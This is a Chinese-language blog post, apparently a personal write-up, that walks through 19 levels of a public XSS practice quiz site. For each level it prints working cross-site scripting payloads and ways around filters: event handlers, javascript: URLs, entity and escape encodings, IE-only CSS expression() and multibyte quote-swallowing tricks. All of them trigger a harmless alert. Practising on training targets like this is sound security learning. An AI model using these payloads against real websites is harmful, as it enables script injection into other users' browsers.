Xi4or0uji's blog

xss challenge 刷题记录

字数统计: 1.2k阅读时长: 4 min
2018/10/29 Share

很久以前学了xss,但是没有系统的刷过题,前几天看国际赛的题目有几题xss的题目,感觉还是不是很熟,干脆找个平台来做一做。
这个是一个日本人写的平台,http://xss-quiz.int21h.jp/ ,边做边记下

Challenge 1

emmm,会点html和js都能秒过,完全是裸题,直接在输入框输入

1
<script>alert(document.domain);</script>

就能过了

Challenge 2

还是水题,源码看见有个双引号,闭合一下就能进行触发了,

1
"><script>alert(document.domain);</script>

Challenge 3

这题注入点不是在输入框,是在国家,改下包就行了

Challenge 4

这题会对符号进行转义,闭合一下前面的,然后插入代码

Challenge 5


这题限制了输入长度,可以在前端页面改一下maxlength,也可以直接抓包改,然后还是能弹的

Challenge 6

这题闭合一下前面的值,加个onmouseover属性就能触发了

Challenge 7

这题跟上一题差不多,过滤了<>,还是可以继续用onmouseover去触发,图基本一样,就不放了

Challenge 8

这题提示了javascript sheme,scheme 属性设置或返回用于解释 content 属性的值的格式。在连接插入js伪链接然后弹窗

Challenge 9

这题转义了<>”,正确的解法应该是utf-7编码,然后再去输入弹窗,但是我找不到thf-7转码工具,然后用上一题的方法也能苟过去,佛辣

Challenge 10

这关可以看到,过滤了domian,但是我们可以通过重复关键词去进行绕过

1
"<script>alert(document.domadomainin);</script>

Challenge 11

这关对script和on开头的字符串都进行了过滤,也就是说script和onmouseover还有onclick都是不行的,所以只能用a标签去试一下

1
"><a href="javascript:alert(document.domain);"></a>

但是script是被过滤了,不过可以用一个unicode编码去进行绕过,最终payload:

1
"><a href=javascri&#09pt:alert(document.domain)>test</a>

Challenge 12

“s/[\x00-\x20\<>\”\’]//g;”,这个过滤有丶真实,<>”‘,0x00到0x20之间的符号也会被过滤掉
emmm,网上的wp都说

1
``onmouseover=alert(document.domain);>

可以绕过,但是要在ie的浏览器下,肉鸡电脑没有ie,苟过去了苟过去了(逃

Challenge 13

这题提示了style attribute,可以在CSS样式中利用expression去实现javascript中的onmouseover或者onmouseout事件,但是也是要ie(版本8以下)…………

1
aa:expression(onmouseover=function(){alert(document.domain)})

还有另一种方式,利用background去修改css样式

1
background-color:#ff0000;background:url("javascript:alert(document.domain);");

但是也复现不了,不知道为什么……

Challenge 14

提示s/(url|script|eval|expression)/xxx/ig;,可以看到script和expression都是被过滤了的,但是其实可以在中间引入注释符,然后成功绕过,利用实体字符进行编码绕过是不行的,过滤了&,但是进行unicode是可以的,最后的payload其实跟上一题差不多,但是有个问题,也是要ie浏览器

1
2
3
aa:exp/**/ression(onmouseover=function(){alert(document.domain)})
aa:expre\0ssion(onmouseover=function(){alert(document.domain)})
aa:expr\0056ssion(onmouseover=function(){alert(document.domain)})

Challenge 15

利用document.write去写入javascript,但是转义了<>,可以用十六进制去进行绕过,最后payload

1
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

Challenge 16

这题跟上一题考点一样,但是提示看到了\\x会转成\\\\x,所有十六进制绕过是不行的了,尝试一下unicode编码

1
\u003cscript\u003ealert(document.domain);\u003c/script\u003e

也可以八进制

1
\\74img src=x onerror=alert(document.domain)\\76

Challenge 17

这题跟宽字节注入有点像,将双引号吞了,然后进行注入,但是这个有个要求,要在老ie(6以下版本)才能进行

1
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

吞掉p1后面的引号就可以让p1第一个引号和p2的第一个引号闭合起来,然后后面再插入我们的代码,弹个domain,最后再把p2第二个引号闭合起来,就可以实现注入了

Challenge 18

这题的操作有点骚,因为对”<>都进行了转义,所以我们要对他们进行处理,先看”的十六进制:00100010,>的十六进制:00101110,<的十六进制:00111100,然后我们将最高位全部换成1,也就是10100010、10111110、10111100,转化过来就是%A2、%BE、%BC,最后的payload就是

1
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

但是这个也是有个前提,要在ie6以下才能成功

Challenge 19

这题可以找到原来的漏洞https://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
但是我去实现的时候总是返回404页面,看大佬的博客看见火狐是不能返回的,要用ie8,溜了溜了,颓了颓了

CATALOG
  1. 1. Challenge 1
  2. 2. Challenge 2
  3. 3. Challenge 3
  4. 4. Challenge 4
  5. 5. Challenge 5
  6. 6. Challenge 6
  7. 7. Challenge 7
  8. 8. Challenge 8
  9. 9. Challenge 9
  10. 10. Challenge 10
  11. 11. Challenge 11
  12. 12. Challenge 12
  13. 13. Challenge 13
  14. 14. Challenge 14
  15. 15. Challenge 15
  16. 16. Challenge 16
  17. 17. Challenge 17
  18. 18. Challenge 18
  19. 19. Challenge 19